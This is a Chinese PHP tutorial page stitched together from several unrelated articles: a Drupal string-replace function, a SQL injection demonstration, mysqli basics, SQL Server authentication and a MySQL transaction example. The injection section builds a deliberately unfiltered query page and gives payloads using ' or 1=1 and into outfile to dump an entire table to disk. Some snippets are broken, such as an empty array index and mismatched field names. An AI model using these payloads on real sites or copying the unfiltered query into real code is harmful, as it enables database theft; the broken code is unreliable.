首页 > 编程技术 > php

php mysql替换字符串方法

发布时间:2016-11-25 16:37

本文章分享一篇关于php mysql替换字符串方法,有需要的同学可以参考一下。
 代码如下 复制代码


<?php
function replace(){
$sql = db_query("SELECT field_languages_value,nid FROM {content_type_company_profile} WHERE

field_languages_value like '%Mandarin Chinese%'");
while($result = db_fetch_object($sql)){
$a = explode("Mandarin Chinese",$result->field_languages_used_value);
$b = $a[].'Chinese'.$a[1];
db_query("UPDATE content_type_company_profile SET field_languages_used_value = '%s' WHERE nid = %

d",$b,$result->nid);
}
}
?>

本文章以自己的一些经验来告诉你黑客朋友们会怎么利用你数据库的sql漏洞来把你的数据库下载哦,有需要的同这参考一下本文章。

在数据库中建立一张表:

 代码如下 复制代码

CREATE TABLE `article` (

  `articleid` int(11) NOT NULL AUTO_INCREMENT,

  `title` varchar(100) CHARACTER SET utf8 NOT NULL DEFAULT '',

  `content` text CHARACTER SET utf8 NOT NULL,

  PRIMARY KEY (`articleid`)

) ENGINE=MyISAM AUTO_INCREMENT=7 DEFAULT CHARSET=latin1;

 

在表中插入数据的操作我就不贴代码了,可以去下载下来直接导入到数据库。

接下来,写一个处理用户请求的页面,这里,我们故意不过滤用户提交过来的数据,留下个SQL注入漏洞用来测试。

代码如下:

 代码如下 复制代码

<?php

       $servername = "localhost";

       $dbusername = "root";

       $dbpassword = "";

       $dbname = "test";

       $id=$_GET['id'];//id未经过滤

       $conn=mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");

       mysql_select_db($dbname,$conn);

       mysql_query('set names utf8');

       $sql = "SELECT * FROM article WHERE articleid='$id'";

       $result = mysql_query($sql,$conn);

       $row = mysql_fetch_array($result);

       echo "<p>利用SQL注入漏洞拖库<p>";

       if (!$row){

              echo "该记录不存在";

              exit;

       }

       echo "标题<br>".$row['title']."<p>";

       echo "内容<br>".$row['content']."<p>";

?>

 

我们直接在浏览器中输入:

 代码如下 复制代码

http://127.0.0.1/marcofly/phpstudy/sqlinsert/showart.php?id=1

即可访问article表中id为1的一条记录

访问结果如下:

 

接下来,我们就利用这个漏洞(不知道该漏洞的情况下,只能通过工具+手工检测),演示一下如何将article表下载下来。

在地址栏中输入:

 代码如下 复制代码
’ into outfile 'e:/sql.txt'%23

分析:%23是#的ASCII码,由于在地址栏中直接输入#后到数据库系统中会变成空,需要在地址栏中输入%23,那么才会变成#,进而注释掉后面的sql语句。

运行之后,打开E盘,发现多了一个sql.txt文件,打开之后,里面就是表article中的一条记录。

为什么只有一条记录呢?难道该数据表就只有一条记录?不是这样的,因为我们只检索id为1的一条记录而已,那么能否将article表中的所有记录一次性全部下载下来呢?

答案是可以的,只要你的构造的SQL语句足够灵活(再次提出了构造SQL语句的灵活性)。

 

分析一下,当在URL地址栏中输入’into outfile 'e:/sql.txt'%23的时候,合并到sql查询语句中变为:

 

 代码如下 复制代码


SELECT * FROM article WHERE articleid='5' into outfile 'e:/whf.txt'#'

仔细分析下之后,我们可以这样子构造SQL语句:

 

 

 代码如下 复制代码
SELECT * FROM article WHERE articleid='' or 1=1 into outfile 'e:/whf.txt'#'

这样的话,无论如何WHERE子句总是为真,换句话说,该sql语句等价于如下:

 

 

 代码如下 复制代码
SELECT * FROM article into outfile 'e:/whf.txt'#'

懂了吧,该sql语句在先执行select语句,将表article中的所以内容全部检索出来,然后再执行into outfile 'e:/whf.txt'#'将内容导出来。

 

不信的话,你执行下……

 

利用SQL注入漏洞,我们可以猜测表名,列名,用户的密码长度(LEFT函数)等等,当然了,如果能直接向以上的演示那样将表中的数据全部导出的话就没必要去猜表名列名等等

本教程为php入门者提供的一篇关于php连接mysql数据库以及查询与读写mysql数据库的实现,有需要学习的同学可以参考一下下哦。

一、连接数据库

数据库变量文件:connectvars.php

 代码如下 复制代码
<?php
//服务器
define('DB_HOST', '127.0.0.1');
//用户名
define('DB_USER', 'root');
//密码
define('DB_PASSWORD', 'root');
//数据库
define('DB_NAME','test') ;
?>

在使用处连接数据库

 代码如下 复制代码

require_once 'connectvars.php';
$dbc =mysqli_connect(DB_HOST,DB_USER,DB_PASSWORD,DB_NAME);

二、对数据库进行增、删、改、查

//查询、修改、删除操作都写成SQL语句

 代码如下 复制代码
$query = "SELECT * FROM toyota ORDER BY ID DESC";
//$data保存信息较为丰富,可用其判断是否操作成功,或利用其取数据,查询记录条数
$data = mysqli_query($dbc,$query);

三、判断操作是否成功

 代码如下 复制代码

if($data){
     echo '数据操作成功';
}else{
     echo '数据操作失败';
}

四、获得查询记录数目

 代码如下 复制代码

$count = mysqli_num_rows($data);
echo $count;

五、对记录进行循环操作

假设记录中有个字段为'url'

 代码如下 复制代码

while($row = mysqli_fetch_array($data)){
     echo $row['url'];
}

当您连接到 SQL Server 时,SQL Server Driver for PHP 支持 SQL Server 身份验证。 在使用 SQL Server 身份验证连接到 SQL Server 时必须考虑以下几点:

必须对服务器启用 SQL Server 混合模式身份验证。
在尝试建立连接时必须设置 UID 和 PWD 连接属性。UID 和 PWD 必须映射到有效的 SQL Server 用户和密码。
注意:

包含右大括号 (}) 的密码必须使用另一个右大括号进行转义。例如,如果 SQL Server 密码为“pass}word”,则 PWD 连接属性的值必须设置为“pass}}word”。
在使用 SQL Server 身份验证连接到 SQL Server 时应采取以下预防措施:
下面看一个简单的实例:

 代码如下 复制代码

<?php
$serverName = "(local)";
$uid = 'xxxx';
$pwd = 'xxxx';
$connectionInfo = array( "UID"=>$uid,
                         "PWD"=>$pwd,
                         "Database"=>"AdventureWorks");

$conn = sqlsrv_connect( $serverName, $connectionInfo);
if( $conn === false )
{
     echo "无法连接数据库.";
     die( print_r( sqlsrv_errors(), true));
}

$tsql = "SELECT CONVERT(varchar(32), SUSER_SNAME())";
$stmt = sqlsrv_query( $conn, $tsql);
if( $stmt === false )
{
     echo "查询错误.";
     die( print_r( sqlsrv_errors(), true));
}

$row = sqlsrv_fetch_array($stmt);
echo "登录的用户: ".$row[0];

sqlsrv_free_stmt( $stmt);
sqlsrv_close( $conn);
?>

要实现本功能的条件是环境 mysql 5.2 /php 5 支持事务的table 类型 需要InnoDB ,有了这些条件你就可以做上面的实现了,这个事物回滚操作是大项目经常用到的,像银行,电子商务等都会用到,有需要的朋友可以参考一下。

近期项目软件升级到支持事务处理,做个示例供大家学习参考
环境 mysql 5.2 /php 5
支持事务的table 类型 需要InnoDB

 代码如下 复制代码

<?PHP
$LinkID =mysql_connect('localhost:3307','root',*******);
mysql_select_db('web_his',$LinkID);
mysql_query("set names utf8");

/* 创建事务 */
mysql_query('START TRANSACTION') or exit(mysql_error());
$ssql1="insert into pf_item values('22','我们','30')";  //执行sql 1
if(!mysql_query($ssql1)){
   echo $ssql1.mysql_errno().":".mysql_error()."<br>";
   mysql_query('ROLLBACK') or exit(mysql_error());//判断当执行失败时回滚
  
   exit;
}
$ssql1="insert into pf_item values('21','hell','10')";  //执行sql 2
if(!mysql_query($ssql1)){
  echo $ssql1.mysql_errno().":".mysql_error()."<br>";
     mysql_query('ROLLBACK') or exit(mysql_error());//判断当执行失败时回滚
  
   exit;
}

mysql_query('COMMIT') or exit(mysql_error());//执行事务

mysql_close($LinkID);
?>

标签:[!--infotagslink--]

您可能感兴趣的文章: